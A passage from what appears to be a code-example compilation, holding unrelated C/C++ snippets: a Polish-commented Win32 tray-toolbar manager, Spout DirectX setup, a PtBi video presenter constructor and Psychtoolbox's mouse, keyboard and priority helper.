                            SendMessage(hPasek, TB_GETBUTTON, (WPARAM)i, (LPARAM)ptbb);
                            ReadProcessMemory(proces, (void*)ptbb, (void*)&tbb, sizeof(TBBUTTON), NULL);
                            hidden = SendMessage(hPasek, TB_ISBUTTONHIDDEN, (WPARAM)tbb.idCommand, 0);

                            if (!hidden)
                                strcpy(buf, "[widoczny]");
                            else
                                strcpy(buf, "[ukryty]");
                            ListView_SetItemText(hList, i, 1, buf);
                        }
                        SetFocus(hList);

                        VirtualFreeEx(proces, ptbb, 0, MEM_RELEASE);
                    }
                    break;
            }
            break;
        case WM_TRAY:   //obs³uga klikniêcia na ikonkê programu w zasobniku systemowym
            switch ((UINT)lParam)
            {
                case WM_LBUTTONDOWN:
                    if (!IsWindowVisible(hWnd))
                    {
                        if (IsZoomed(hWnd))
                            ShowWindow(hWnd, SW_MAXIMIZE);
                        else
                            ShowWindow(hWnd, SW_RESTORE);
                        SetForegroundWindow(hWnd);
                    }
                    else if (GetForegroundWindow() == hWnd)
                        ShowWindow(hWnd, SW_HIDE);
                    else
                        SetForegroundWindow(hWnd);
                    break;
            }
            break;
        case WM_ACTIVATE:
            if (LOWORD(wParam) != WA_INACTIVE)
                refresh();
            break;
        case WM_SIZE:   //zdarzenie zmienienia rozmiaru
            int szer, wys;

            if (wParam & SIZE_MINIMIZED)
                ShowWindow(hWnd, SW_HIDE);

            szer = (int)LOWORD(lParam);
            wys = (int)HIWORD(lParam );

            /*
               Poni¿ze linijki pozwalaj¹ przestawiaæ kontrolki tak, by
               dopasowa ich pozycjê/rozmiar do rozmiaru okna g³ównego
            */
            MoveWindow(hList, 0, 0, szer, wys-23, false);
            MoveWindow(hShow, 20, wys-21, 120, 20, false);
            MoveWindow(hRefresh, szer-310, wys-21, 120, 20, false);
            MoveWindow(hInfo, szer-140, wys-21, 120, 20, false);
            break;
        case WM_SIZING: //zdarzenie zmieniania rozmiaru
            RECT* rc;
            rc = (RECT*)lParam;
            /*
               Poni¿sze linie pozwalaj¹ ograniczyc rozmiar okna - jako, ¿e to zdarzenie jest
               wywo³ywane w trakcie zmiany rozmiaru, warunki s¹ sprawdzane nie po puszczeniu
               przycisku myszy, a jeszcze w trakcie jego trzymania. Dziêki temu okno nie
               nigdy nie bêdzie mia³o rozmiarów mniejszych ni¿ 500x100 pikseli.
            */
            if (rc->right - rc->left <= 500)
                rc->right = rc->left + 500;
            if (rc->bottom - rc->top <= 100)
                rc->bottom = rc->top + 100;
            break;
        case WM_DESTROY:    //zdarzenie niszczenia okna
            CloseHandle(proces);
            Shell_NotifyIcon(NIM_DELETE, &nim);
            PostQuitMessage(0);
            break;

        case WM_NOTIFY: //obs³uga komunikatów od kontrolki ListView
            if (((LPNMHDR)lParam)->hwndFrom == hList && ((LPNMHDR)lParam)->code == (unsigned int)NM_DBLCLK)
                SendMessage(hShow, BM_CLICK, 0, 0);
            else if (((LPNMHDR)lParam)->hwndFrom == hList && ((LPNMHDR)lParam)->code == (unsigned int)NM_CLICK)
            {
                char buf[10];
                int poz = ListView_GetNextItem(hList, (WPARAM)-1, LVNI_SELECTED);

                ListView_GetItemText(hList, poz, 1, buf, 50);
                if (!strcmp(buf, "[ukryty]"))
                    SendMessage(hShow, WM_SETTEXT, 0, (LPARAM)"Poka¿ przycisk");
                else
                    SendMessage(hShow, WM_SETTEXT, 0, (LPARAM)"Ukryj przycisk");
            }
            else if (((LPNMHDR)lParam)->hwndFrom == hList && ((LPNMHDR)lParam)->code == LVN_KEYDOWN)
            {
                switch (((LV_KEYDOWN*)lParam)->wVKey)
                {
                case VK_F5:
                    SendMessage(hRefresh, BM_CLICK, 0, 0);
                    break;
                case VK_F1:
                    SendMessage(hInfo, BM_CLICK, 0, 0);
                    break;
                case VK_SPACE:
                    SendMessage(hShow, BM_CLICK, 0, 0);
                    break;
                case VK_ESCAPE:
                    ShowWindow(hWnd, SW_MINIMIZE);
                    break;
                }
            }
            /*------------------- obs³uga drag & drop na liœcie z przyciskami -------------------*/
            else if (((LPNMHDR)lParam)->hwndFrom == hList && ((LPNMHDR)lParam)->code == LVN_BEGINDRAG)
            {
                //wiadomoœæ wysy³ana do okna g³ównego, gdy rozpoczynamy drag & drop na liœcie
                //czyli ³apiemy element lewym przyciskiem myszy
                HIMAGELIST hOneImageList, hTempImageList;
                IMAGEINFO imginf;
                int x = 0, wys;
                pkt.x = 1;
                pkt.y = 1;

                poz = ListView_GetNextItem(hList, (WPARAM)-1, LVNI_SELECTED);  //pobieranie indexu zaznaczonego elementu
                item.iItem = poz;
                item.mask = LVIF_IMAGE | LVIF_INDENT | LVIF_PARAM; //ustawienie maski elementu listy do pobrania
                ListView_GetItem(hList, &item);    //pobieranie danego elementu do zmiennej item

                if (item.iIndent) //element z wciêciem nas nie interesuje
                    break;

                hDragImgList = ListView_CreateDragImage(hList, poz, &pkt); //tworzenie "duszka" do d&d
                ImageList_GetImageInfo(hDragImgList, 0, &imginf);
                wys = imginf.rcImage.bottom;

                while(true)    //dodawanie elementów danej grupy do "duszka" w pêtli
                {
                    if (++item.iItem >= ile)
                        break;
                    item.mask = LVIF_IMAGE | LVIF_INDENT | LVIF_PARAM; //ustawianie maski pobierania danych elementu
                    ListView_GetItem(hList, &item);
                    if(item.iIndent == 0) //je¿eli napotkano kolejny przycisk grupowy trzeba przerwaæ
                        break;

                    hOneImageList = ListView_CreateDragImage(hList, item.iItem, &pkt);
                    hTempImageList = ImageList_Merge(hDragImgList, 0, hOneImageList, 0, 0, wys);
                    ImageList_Destroy(hDragImgList);
                    ImageList_Destroy(hOneImageList);
                    hDragImgList = hTempImageList;
                    ImageList_GetImageInfo(hDragImgList, 0, &imginf);
                    wys = imginf.rcImage.bottom;
                }

                item.iItem = poz;
                item.mask = LVIF_IMAGE | LVIF_INDENT | LVIF_PARAM;
                ListView_GetItem(hList, &item);

                ImageList_BeginDrag(hDragImgList, 0, x, 0);
                pkt = ((NM_LISTVIEW*) ((LPNMHDR)lParam))->ptAction;
                ClientToScreen(hList, &pkt);
                ImageList_DragEnter(GetDesktopWindow(), pkt.x, pkt.y);
                bDragging = true;

                SetCapture(hWnd);
            }
            break;
        case WM_MOUSEMOVE:  //zdarzenie ruchu kursora myszy
            if (!bDragging) //je¿eli nie obs³gujemy akurat d&d na liœcie to nie trzeba nic robiæ
                break;

            pkt.x = LOWORD(lParam);
            pkt.y = HIWORD(lParam);
            ClientToScreen(hWnd, &pkt);
            ImageList_DragMove(pkt.x, pkt.y);
            break;
        case WM_LBUTTONUP:  //zdarzenie puszczenia lewego przycisku myszy
            if (!bDragging) //je¿eli nie obs³gujemy akurat d&d na liœcie to nie trzeba nic robiæ
                break;

            LVHITTESTINFO lvhti;
            char buf[256], sub[12];

            /*---puszczamy przycisk, wiêc przeci¹ganie siê koñczy---*/
            bDragging = false;
            ImageList_DragLeave(hList);
            ImageList_EndDrag();
            //ImageList_Destroy(hDragImgList);  //nie wiem czemu, ale ta linia wywo³uje b³¹d segfault przy uruchomieniu debuggera
            ReleaseCapture();


            /*---sprawdzanie, czy przeci¹gany element zosta³ upuszczony na inny element listy---*/
            lvhti.pt.x = LOWORD(lParam);
            lvhti.pt.y = HIWORD(lParam);
            ClientToScreen(hWnd, &lvhti.pt);
            ScreenToClient(hList, &lvhti.pt);
            ListView_HitTest(hList, &lvhti);
            if (lvhti.iItem == -1)
                break;
            if ((lvhti.flags & LVHT_ONITEMLABEL == 0) && (lvhti.flags & LVHT_ONITEMSTATEICON == 0))
                break;

            if (!item.iIndent) //je¿eli wciêcie = 0, to znaczy ¿e zajmujemy siê przyciskiem "grupowym"
            {
                poz = ListView_GetNextItem(hList, (WPARAM)-1, LVNI_SELECTED);

                if (lvhti.iItem > poz)
                    lvhti.iItem++;

                while (true)
                {
                    if (lvhti.iItem == poz || lvhti.iItem > ile-1 || lvhti.iItem < 0)
                        break;
                    item.iItem = lvhti.iItem;
                    item.iSubItem = 0;
                    item.mask = LVIF_STATE | LVIF_IMAGE | LVIF_INDENT | LVIF_TEXT | LVIF_PARAM;
                    item.stateMask = LVIS_SELECTED;
                    ListView_GetItem(hList, &item);
                    if (item.iIndent)
                    {
                        if (lvhti.iItem > poz)
                            lvhti.iItem++;
                        else if (lvhti.iItem < poz)
                            lvhti.iItem--;
                    }
                    else
                    {
                        if (lvhti.iItem > poz)
                            lvhti.iItem--;
                        break;
                    }
                }

                ListView_GetItemText(hList, poz, 0, buf, 256); //pobieranie tekstu danego elementu listy
                while (true)
                {
                    int tmp = poz;

                    item.iItem = poz;
                    item.iSubItem = 0;
                    item.cchTextMax = 256;
                    item.pszText = buf;
                    item.stateMask = ~LVIS_SELECTED;
                    item.mask = LVIF_STATE | LVIF_IMAGE | LVIF_INDENT | LVIF_TEXT | LVIF_PARAM;
                    ListView_GetItem(hList, &item);
                    ListView_GetItemText(hList, poz, 1, sub, 12);

                    SendMessage(hPasek, TB_MOVEBUTTON, (WPARAM)poz, (LPARAM)lvhti.iItem);
                    if (lvhti.iItem > poz && lvhti.iItem < ile)
                        lvhti.iItem++;
                    item.iItem = lvhti.iItem;

                    ListView_InsertItem(hList, &item);
                    ListView_SetItemText(hList, item.iItem, 1, sub);
                    if (lvhti.iItem < poz)
                        poz++;
                    ListView_DeleteItem(hList, poz);
                    if (lvhti.iItem > tmp)
                        lvhti.iItem--;
                    if (lvhti.iItem < tmp)
                        lvhti.iItem++;
                    ListView_GetItemText(hList, poz, 0, buf, 256);
                    item.iItem = poz;
                    item.iSubItem = 0;
                    item.cchTextMax = 256;
                    item.pszText = buf;
                    ListView_GetItem(hList, &item);
                    if (!item.iIndent || poz > ile-1)  //je¿eli
                        break;
                }
            }
            break;
        default:
            return DefWindowProc(hWnd, komunikat, wParam, lParam);
    }
    return 0;
}
Ejemplo n.º 25
0
bool pinDialogPriv::doDialog() {
	if (IDOK == DialogBoxParam(params.m_hInst,MAKEINTRESOURCE(params.m_resourceID)
		,GetForegroundWindow(),
		(DLGPROC)dialogProc, (LPARAM) this)) return true;
	return false;
	}
Ejemplo n.º 26
0
// this function initializes and prepares Direct3D
bool spoutGLDXinterop::OpenDirectX9(HWND hWnd)
{
	HWND fgWnd = NULL;
	char fgwndName[256];

	// Already initialized ?
	if(m_pD3D != NULL) {
		return true;
	}

	// Create a IDirect3D9Ex object if not already created
	if(!m_pD3D) {
		m_pD3D = spoutdx.CreateDX9object(); 
	}

	if(m_pD3D == NULL) {
		return false;
	}

	// Create a DX9 device
	if(!m_pDevice) {
		m_pDevice = spoutdx.CreateDX9device(m_pD3D, hWnd); 
	}

	if(m_pDevice == NULL) {
		return false;
	}

	// LJ DEBUG - adapter info
	/*
	D3DADAPTER_IDENTIFIER9 adapterinfo;
    // char            Driver[MAX_DEVICE_IDENTIFIER_STRING];
    // char            Description[MAX_DEVICE_IDENTIFIER_STRING];
    // char            DeviceName[32];         // Device name for GDI (ex. \\.\DISPLAY1)
	// LARGE_INTEGER   DriverVersion;          // Defined for 32 bit components
    // DWORD           VendorId;
    // DWORD           DeviceId;
    // DWORD           SubSysId;
    // DWORD           Revision;
	// GUID            DeviceIdentifier;
	// DWORD           WHQLLevel;

	m_pD3D->GetAdapterIdentifier (D3DADAPTER_DEFAULT, 0, &adapterinfo);
	// printf("Driver = [%s]\n", adapterinfo.Driver);
	// printf("Description = [%s]\n", adapterinfo.Description);
	// printf("DeviceName = [%s]\n", adapterinfo.DeviceName);
	// printf("DriverVersion = [%d] [%x]\n", adapterinfo.DriverVersion, adapterinfo.DriverVersion);
	// printf("VendorId = [%d] [%x]\n", adapterinfo.VendorId, adapterinfo.VendorId);
	// printf("DeviceId = [%d] [%x]\n", adapterinfo.DeviceId, adapterinfo.DeviceId);
	// printf("SubSysId = [%d] [%x]\n", adapterinfo.SubSysId, adapterinfo.SubSysId);
	// printf("Revision = [%d] [%x]\n", adapterinfo.Revision, adapterinfo.Revision);
	*/


	// Problem for FFGL plugins - might be a problem for other FFGL hosts or applications.
	// DirectX 9 device initialization creates black areas and the host window has to be redrawn.
	// But this causes a crash for a sender in Magic when the render window size is changed.
	// Not a problem for DirectX 11.
	// Not needed in Isadora.
	// Needed for Resolume.
	// For now, limit this to Resolume only.
	fgWnd = GetForegroundWindow();
	GetWindowTextA(fgWnd, fgwndName, 256);
	if(strstr(fgwndName, "Resolume") != NULL // Is resolume in the window title ?
	&& strstr(fgwndName, "magic") == NULL) { // Make sure it is not a user named magic project.
		 UpdateWindow(fgWnd);
	}

	return true;
}
Ejemplo n.º 27
0
GLPresenter::GLPresenter(DeckLinkCapture &capture, int w, int h, int hz) : 
	data_size(w*h*capture.getBytesPerPixel()),
	capture(capture), running(true), fullscreen(false), useVsync(false), rgbFull(false),
	texId(0), displayList(0), 
	initialConvert(NULL),
	buffer(NULL), buffer2(NULL),
	reqW(w), reqH(h), reqHz(hz), captureBufferW(reqW / (4 / capture.getBytesPerPixel())),
	frameIndex(0), drawnFrameIndex(0), aspect(16.0/9.0), oneToNScaleFactor(-1.0),
	frameProcTimes(300)
{
	self = this;

	sprintf(prepend, "#version 410 compatibility \n#define FRAME_WIDTH %d \n#define FRAME_HEIGHT %d \n", reqW, reqH);

	RT_ASSERT(glfwInit() == GL_TRUE, "Failed to initalize GLFW.");
	RT_ASSERT(glfwOpenWindow(w, h, 0, 0, 0, 0, 0, 0, GLFW_WINDOW) == GL_TRUE, "Failed to open GLFW window.");

	string title("PtBi ");
	title += VER_STRING;
	glfwSetWindowTitle(title.c_str());
	glfwSetWindowPos(10, 10);

	dataPointers[0] = malloc(data_size);
	dataPointers[1] = malloc(data_size);

	glewInit();
	checkExtensions();

	ilInit();

	glfwDisable(GLFW_AUTO_POLL_EVENTS);
	glfwSwapInterval(0);
	glfwSetWindowCloseCallback(closeCallback);
	glfwSetWindowSizeCallback(resizeCallback);
	glfwSetMousePosCallback(mousePosCallback);
	glfwSetKeyCallback(keyCallback);

	hdc = wglGetCurrentDC();
	hrc = wglGetCurrentContext();

	initGL();

	switch(capture.getPixelFormat()) {
	case CapturePixelFormat::YUV: 
		initialConvert = new GLFragmentProgram("shaders/uyvy_to_rgb_smooth.glsl", getShaderPrependString());
		break;
	case CapturePixelFormat::ARGB8:
		initialConvert = new GLFragmentProgram("shaders/argb_input.glsl", getShaderPrependString());
		break;
	case CapturePixelFormat::BGRA8:
		initialConvert = new GLFragmentProgram("shaders/bgra_input.glsl", getShaderPrependString());
		break;
	default:
		RT_ASSERT(false, "Unsupported pixel type.");
	}

	buffer = new GLRenderTexture(getW(), getH(), GL_RGBA8, GL_RGBA, GL_UNSIGNED_BYTE);
	buffer->setFilterMode(GL_LINEAR);
	buffer2 = new GLRenderTexture(getW(), getH(), GL_RGBA8, GL_RGBA, GL_UNSIGNED_BYTE);
	buffer2->setFilterMode(GL_LINEAR);

	scalingManager = new ScalingManager(*this);
	aaManager = new AAManager(*this);
	ipManager = new IPManager(*this);
	keyBinding = new KeyBinding(this);
	capture.registerDisplayListener(this);

	hwnd = GetForegroundWindow();

	RT_GL_ASSERT("Error during GL initialization.");

	reshape(reqW, reqH);
	
	graphicsReportText = std::make_shared<StaticText>("", 25.0f,440.0f);
	Console::get().add(graphicsReportText);
}
PsychError SCREENGetMouseHelper(void)
{
    const char *valuatorInfo[]={"label", "min", "max", "resolution", "mode", "sourceID"};
    int numValuatorStructFieldNames = 6;
    int numIValuators = 0;
    PsychGenericScriptType *valuatorStruct = NULL;

#if PSYCH_SYSTEM == PSYCH_OSX
    Point   mouseXY;
    UInt32  buttonState;
    double  *buttonArray;
    int     numButtons, i;
    psych_bool  doButtonArray;
    PsychWindowRecordType   *windowRecord;
    int32_t deltaX, deltaY;
    double myvaluators[2];

    //all subfunctions should have these two lines.
    PsychPushHelp(useString, synopsisString, seeAlsoString);
    if (PsychIsGiveHelp()){PsychGiveHelp();return(PsychError_none);};

    //cap the numbers of inputs and outputs
    PsychErrorExit(PsychCapNumInputArgs(3));   //The maximum number of inputs
    PsychErrorExit(PsychCapNumOutputArgs(6));  //The maximum number of outputs

    // Buttons.
    // The only way I know to detect the  number number of mouse buttons is directly via HID.  The device reports
    // that information but OS X seems to ignore it above the level of the HID driver, that is, no OS X API above the HID driver
    // exposes it.  So GetMouse.m function calls PsychHID detect the number of buttons and then passes that value to GetMouseHelper
    // which returns that number of button values in a vector.
    PsychCopyInIntegerArg(1, kPsychArgRequired, &numButtons);
    if (numButtons > 32)
        PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "numButtons must not exceed 32");

    // Special codes -10 to -15? --> Console keyboard queries:
    if (numButtons <= -10 && numButtons >= -15) {
        ConsoleInputHelper((int) numButtons);
        return(PsychError_none);
    }

    if (numButtons < 1)
        PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "numButtons must exceed 1");

    doButtonArray=PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)numButtons, (int)1, &buttonArray);
    if (doButtonArray) {
        buttonState=GetCurrentButtonState();
        for(i=0;i<numButtons;i++)
            buttonArray[i]=(double)(buttonState & (1<<i));
    }

    // Get cursor position:
    HIPoint outPoint;
    HIGetMousePosition(kHICoordSpaceScreenPixel, NULL, &outPoint);
    PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) outPoint.x);
    PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) outPoint.y);

    // Return optional keyboard input focus status:
    if (numButtons > 0) {
        // Window provided?
        if (PsychIsWindowIndexArg(2)) {
            // Yes: Check if it has focus.
            PsychAllocInWindowRecordArg(2, TRUE, &windowRecord);
            if (!PsychIsOnscreenWindow(windowRecord)) {
                PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required.");
            }

            PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (PsychCocoaGetUserFocusWindow() == windowRecord->targetSpecific.windowHandle) ? 1 : 0);
        } else {
            // No. Just always return "has focus":
            PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) 1);
        }
    }

    // Return optional valuator values: On OSX we use two valuators to return deltaX and deltaY,
    // the mouse delta movement since last call to this function:
    CGGetLastMouseDelta(&deltaX, &deltaY);
    myvaluators[0] = (double) deltaX;
    myvaluators[1] = (double) deltaY;
    PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) 2, (int) 1, &myvaluators[0]);

    // Return optional valuator info struct array as argument 6:
    if (PsychIsArgPresent(PsychArgOut, 6)) {
        // Usercode wants valuator info structs:
        PsychAllocOutStructArray(6, TRUE, 2, numValuatorStructFieldNames, valuatorInfo, &valuatorStruct);

        // Valuator 0: Encodes DeltaX - relative X motion, aka mouse deltaX:
        PsychSetStructArrayStringElement("label", 0, "DeltaX", valuatorStruct);

        // Other fields are meaningless or undefined on OSX, so set to 0 default:
        PsychSetStructArrayDoubleElement("min", 0, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("max", 0, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("resolution", 0, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("mode", 0, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("sourceID", 0, (double) 0, valuatorStruct);

        // Valuator 1: Encodes DeltaY - relative Y motion, aka mouse deltaY:
        PsychSetStructArrayStringElement("label", 1, "DeltaY", valuatorStruct);

        // Other fields are meaningless or undefined on OSX, so set to 0 default:
        PsychSetStructArrayDoubleElement("min", 1, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("max", 1, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("resolution", 1, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("mode", 1, (double) 0, valuatorStruct);
        PsychSetStructArrayDoubleElement("sourceID", 1, (double) 0, valuatorStruct);
    }
#endif

#if PSYCH_SYSTEM == PSYCH_WINDOWS
    static unsigned char disabledKeys[256];
    static unsigned char firsttime = 1;
    int keysdown, i, priorityLevel;
    unsigned char keyState[256];
    double* buttonArray;
    double numButtons, timestamp;
    PsychNativeBooleanType* buttonStates;
    POINT   point;
    HANDLE  currentProcess;
    DWORD   oldPriority = NORMAL_PRIORITY_CLASS;
    const DWORD realtime_class = REALTIME_PRIORITY_CLASS;
    PsychWindowRecordType *windowRecord;

    PsychPushHelp(useString, synopsisString, seeAlsoString);
    if (PsychIsGiveHelp()) { PsychGiveHelp(); return(PsychError_none); };

    // Retrieve optional number of mouse buttons:
    numButtons = 0;
    PsychCopyInDoubleArg(1, FALSE, &numButtons);

    // Are we operating in 'GetMouseHelper' mode? numButtons>=0 indicates this.
    if (numButtons >= 0) {
        // GetMouse-Mode: Return mouse button states and mouse cursor position:
        PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int)1, (int)3, (int)1, &buttonArray);
        // Query and return mouse button state:
        PsychGetMouseButtonState(buttonArray);
        // Query and return cursor position in global coordinates:
        GetCursorPos(&point);
        PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) point.x);
        PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) point.y);

        // Window provided?
        if (PsychIsWindowIndexArg(2)) {
            // Yes: Check if it has focus.
            PsychAllocInWindowRecordArg(2, TRUE, &windowRecord);
            if (!PsychIsOnscreenWindow(windowRecord)) {
                PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required.");
            }

            PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (GetForegroundWindow() == windowRecord->targetSpecific.windowHandle) ? 1 : 0);
        } else {
            // No. Just always return "has focus":
            PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) 1);
        }

        // Return optional valuator values: Unimplemented on Windows. Just return an empty matrix.
        // The &timestamp is just a dummy assignment without any meaning.
        PsychCopyOutDoubleMatArg(5, kPsychArgOptional, (int) 1, (int) 0, (int) 1, &timestamp);
        PsychCopyOutDoubleMatArg(6, kPsychArgOptional, (int) 1, (int) 0, (int) 1, buttonArray);
    }
    else {
        // 'KeyboardHelper' mode: We implement either KbCheck() or KbWait() via X11.
        // This is a hack to provide keyboard queries until a PsychHID() implementation
        // for Microsoft Windows is available...

        // Special codes -10 to -15? --> Console keyboard queries:
        if (numButtons <= -10 && numButtons >= -15) {
            ConsoleInputHelper((int) numButtons);
            return(PsychError_none);
        }

        if (firsttime) {
                // First time init:
                firsttime = 0;
                memset(keyState, 0, sizeof(keyState));
                memset(disabledKeys, 0, sizeof(disabledKeys));
                // These keycodes are always disabled: 0, 255:
                disabledKeys[0]=1;
                disabledKeys[255]=1;
                // Mouse buttone (left, right, middle) are also disabled by default:
                disabledKeys[1]=1;
                disabledKeys[2]=1;
                disabledKeys[4]=1;
        }

        if (numButtons==-1 || numButtons==-2) {
            // KbCheck()/KbWait() mode
            do {
                // Reset overall key state to "none pressed":
                keysdown=0;

                // Request current time of query:
                PsychGetAdjustedPrecisionTimerSeconds(&timestamp);

                // Query state of all keys:
                for(i=1;i<255;i++){
                    keyState[i] = (GetAsyncKeyState(i) & -32768) ? 1 : 0;
                }

                // Disable all keys that are registered in disabledKeys. Check if
                // any non-disabled key is down.
                for (i=0; i<256; i++) {
                    if (disabledKeys[i]>0) keyState[i] = 0;
                    keysdown+=(unsigned int) keyState[i];
                }

                // We repeat until any key pressed if in KbWait() mode, otherwise we
                // exit the loop after first iteration in KbCheck mode.
                if ((numButtons==-1) || ((numButtons==-2) && (keysdown>0))) break;

                // Sleep for a millisecond before next KbWait loop iteration:
                PsychWaitIntervalSeconds(0.001);
            } while(1);

            if (numButtons==-2) {
                // KbWait mode: Copy out time value.
                PsychCopyOutDoubleArg(1, kPsychArgOptional, timestamp);
            }
            else {
                // KbCheck mode:

                // Copy out overall keystate:
                PsychCopyOutDoubleArg(1, kPsychArgOptional, (keysdown>0) ? 1 : 0);

                // Copy out timestamp:
                PsychCopyOutDoubleArg(2, kPsychArgOptional, timestamp);

                // Copy out keyboard state:
                PsychAllocOutBooleanMatArg(3, kPsychArgOptional, 1, 256, 1, &buttonStates);

                // Build 256 elements return vector:
                for (i=0; i<255; i++) {
                    buttonStates[i] = (PsychNativeBooleanType)((keyState[i+1]) ? 1 : 0);
                }

                // Special case: Null out last element:
                buttonStates[255] = (PsychNativeBooleanType) 0;
            }
        }

        if (numButtons==-3) {
            // Priority() - helper mode: The 2nd argument is the priority level:

            // Determine our processID:
            currentProcess = GetCurrentProcess();

            // Get current scheduling policy:
            oldPriority = GetPriorityClass(currentProcess);

            // Map to PTB's scheme:
            switch(oldPriority) {
                case NORMAL_PRIORITY_CLASS:
                    priorityLevel = 0;
                break;

                case HIGH_PRIORITY_CLASS:
                    priorityLevel = 1;
                break;

                case REALTIME_PRIORITY_CLASS:
                    priorityLevel = 2;
                break;

                default:
                    priorityLevel = 0;
            }

            // Copy it out as optional return argument:
            PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) priorityLevel);

            // Query if a new level should be set:
            priorityLevel = -1;
            PsychCopyInIntegerArg(2, kPsychArgOptional, &priorityLevel);

            // Priority level provided?
            if (priorityLevel > -1) {
                // Map to new scheduling class:
                if (priorityLevel > 2) PsychErrorExitMsg(PsychErorr_argumentValueOutOfRange, "Invalid Priority level: Requested Priority() level must not exceed 2.");

                switch (priorityLevel) {
                    case 0: // Standard scheduling:
                        SetPriorityClass(currentProcess, NORMAL_PRIORITY_CLASS);

                        // Disable any MMCSS scheduling for us:
                        PsychSetThreadPriority((psych_thread*) 0x1, 0, 0);
                    break;

                    case 1: // High priority scheduling:
                        SetPriorityClass(currentProcess, HIGH_PRIORITY_CLASS);

                        // Additionally try to schedule us MMCSS: This will lift us roughly into the
                        // same scheduling range as REALTIME_PRIORITY_CLASS, even if we are non-admin users
                        // on Vista and Windows-7 and later, however with a scheduler safety net applied.
                        PsychSetThreadPriority((psych_thread*) 0x1, 10, 0);
                    break;

                    case 2: // Realtime scheduling:
                        // This can fail if Matlab is not running under a user account with proper permissions:
                        if ((0 == SetPriorityClass(currentProcess, REALTIME_PRIORITY_CLASS)) || (REALTIME_PRIORITY_CLASS != GetPriorityClass(currentProcess))) {
                            // Failed to get RT-Scheduling. Let's try at least high priority scheduling:
                            SetPriorityClass(currentProcess, HIGH_PRIORITY_CLASS);

                            // Additionally try to schedule us MMCSS: This will lift us roughly into the
                            // same scheduling range as REALTIME_PRIORITY_CLASS, even if we are non-admin users
                            // on Vista and Windows-7 and later, however with a scheduler safety net applied.
                            PsychSetThreadPriority((psych_thread*) 0x1, 10, 0);
                        }
                    break;
                }
            }
            // End of Priority() helper for Win32.
        }
    }
#endif

#if PSYCH_SYSTEM == PSYCH_LINUX
    double myvaluators[100];
    int    numvaluators;
    unsigned char keys_return[32];
    char* keystring;
    PsychGenericScriptType *kbNames;
    CGDirectDisplayID dpy;
    Window rootwin, childwin, mywin = 0;
    int i, j, mx, my, dx, dy;
    double mxd, myd, dxd, dyd;
    unsigned int mask_return;
    double timestamp;
    int numButtons;
    double* buttonArray;
    PsychNativeBooleanType* buttonStates;
    int keysdown;
    int screenNumber;
    int priorityLevel;
    struct sched_param schedulingparam;
    PsychWindowRecordType *windowRecord = NULL;
    int mouseIndex;
    XIButtonState buttons_return;
    XIModifierState modifiers_return;
    XIGroupState group_return;

    PsychPushHelp(useString, synopsisString, seeAlsoString);
    if (PsychIsGiveHelp()) { PsychGiveHelp(); return(PsychError_none); };

    PsychCopyInIntegerArg(1, kPsychArgRequired, &numButtons);

    // Retrieve optional screenNumber argument:
    if (numButtons!=-5) {
        screenNumber = 0;
        if (PsychIsScreenNumberArg(2)) {
            PsychCopyInScreenNumberArg(2, FALSE, &screenNumber);
        }

        // Map screenNumber to X11 display handle and screenid:
        PsychGetCGDisplayIDFromScreenNumber(&dpy, screenNumber);

        if (PsychIsWindowIndexArg(2)) {
            PsychAllocInWindowRecordArg(2, TRUE, &windowRecord);
            if (!PsychIsOnscreenWindow(windowRecord)) {
                PsychErrorExitMsg(PsychError_user, "Provided window handle isn't an onscreen window, as required.");
            }

            screenNumber = windowRecord->screenNumber;
            #ifndef PTB_USE_WAYLAND
            mywin = windowRecord->targetSpecific.xwindowHandle;
            #else
            // TODO Wayland.
            mywin = None;
            #endif
            // Map screenNumber to X11 display handle and screenid:
            PsychGetCGDisplayIDFromScreenNumber(&dpy, screenNumber);
        } else {
            PsychLockDisplay();
            #ifndef PTB_USE_WAYLAND
            mywin = RootWindow(dpy, PsychGetXScreenIdForScreen(screenNumber));
            #else
            // TODO Wayland.
            mywin = None;
            #endif
            PsychUnlockDisplay();
        }
    }

    // Default to "old school" mouse query - System default mouse via X core protocol:
    mouseIndex = -1;
    PsychCopyInIntegerArg(3, FALSE, &mouseIndex);

    // Are we operating in 'GetMouseHelper' mode? numButtons>=0 indicates this.
    if (numButtons >= 0) {
        // Mouse pointer query mode:
        numvaluators = 0;

        #ifdef PTB_USE_WAYLAND
        {
            void* focusWindow = NULL;
            // Copy out mouse x and y position:
            // Alloc out mouse button state:
            PsychAllocOutDoubleMatArg(3, kPsychArgOptional, (int) 1, (int) numButtons, (int) 1, &buttonArray);

            // Query Wayland backend for mouse state:
            if (!PsychWaylandGetMouseState(mouseIndex, &mx, &my, numButtons, &(buttonArray[0]), &focusWindow)) {
                // Failed: Likely invalid mouseIndex.
                PsychErrorExitMsg(PsychError_user, "Invalid 'mouseIndex' provided. No such device.");
            }

            PsychCopyOutDoubleArg(1, kPsychArgOptional, (double) mx);
            PsychCopyOutDoubleArg(2, kPsychArgOptional, (double) my);

            // Return window focus state: Currently simply 0 for "not focused":
            PsychCopyOutDoubleArg(4, kPsychArgOptional, (double) (windowRecord && (windowRecord->targetSpecific.xwindowHandle == focusWindow)) ? 1 : 0);

            // Return optional valuator values: Currently empty due to numvaluators == 0:
